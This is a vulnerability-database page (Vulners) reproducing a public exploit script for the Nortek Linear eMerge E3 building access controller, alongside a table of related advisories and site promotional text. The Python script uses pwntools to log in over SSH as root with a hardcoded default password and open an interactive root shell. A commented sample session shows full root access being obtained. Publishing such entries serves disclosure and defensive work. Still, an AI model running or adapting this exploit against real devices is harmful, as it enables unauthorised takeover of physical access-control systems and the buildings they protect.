Vulners
Lucene search
Nortek Linear eMerge E3 Access Controller 1.00-06 SSH/FTP Remote Root
| Reporter | Title | Published | Views | Family All 234 |
|---|---|---|---|---|
 | Security Bulletin: IBM QRadar Network Security is affected by Linux kernel vulnerabilities | 25 Jul 201814:35 | – | ibm |
 | Linux (x86) - Disable ASLR by Setting the RLIMIT_STACK Resource to Unlimited | 6 Apr 201600:00 | – | zdt |
| FaceSentry Access Control System 6.4.8 - Remote SSH Root Exploit | 2 Jul 201900:00 | – | zdt |
| eMerge E3 Access Controller 4.6.07 - Remote Code Execution Exploit | 12 Nov 201900:00 | – | zdt |
| eMerge E3 Access Controller 4.6.07 - Remote Code Execution Exploit (2) | 12 Nov 201900:00 | – | zdt |
 | Medium: kernel | 27 Apr 201600:00 | – | amazon |
 | Amazon Linux AMI : kernel (ALAS-2016-694) | 29 Apr 201600:00 | – | nessus |
| CentOS 7 : kernel (CESA-2018:1062) | 27 Apr 201800:00 | – | nessus |
| Debian DLA-516-1 : linux security update | 20 Jun 201600:00 | – | nessus |
| Debian DSA-3607-1 : linux - security update | 29 Jun 201600:00 | – | nessus |
10
`#!/usr/bin/env python
#
# Nortek Linear eMerge E3 Access Controller SSH/FTP Remote Root
# Affected version: <=1.00-06
# CVE: CVE-2019-7261, CVE-2019-7265
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# by Gjoko 'LiquidWorm' Krstic
#
# ====
# python lineare3_sshroot.py 192.168.1.2
# [+] Connecting to 192.168.1.2 on port 22: Done
# [!] Only Linux is supported for ASLR checks.
# [*] [email protected]:
# Distro Unknown Unknown
# OS: Unknown
# Arch: Unknown
# Version: 0.0.0
# ASLR: Disabled
# Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
# [+] Opening new channel: 'shell': Done
# [*] Switching to interactive mode
# Last login: Fri Nov 1 04:21:44 2019 from 192.168.2.17
# root@imx6slevk:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@imx6slevk:~# pwd
# /home/root
# root@imx6slevk:~# exit
# logout
# [*] Got EOF while reading in interactive
# [*] Closed SSH channel with 192.168.1.2
# ====
from pwn import *
if len(sys.argv) < 2:
print 'Usage: ./e3.py <ip>\n'
sys.exit()
ip = sys.argv[1]
rshell = ssh('root', ip, password='davestyle', port=22)
rshell.interactive()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Nov 2019 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.40979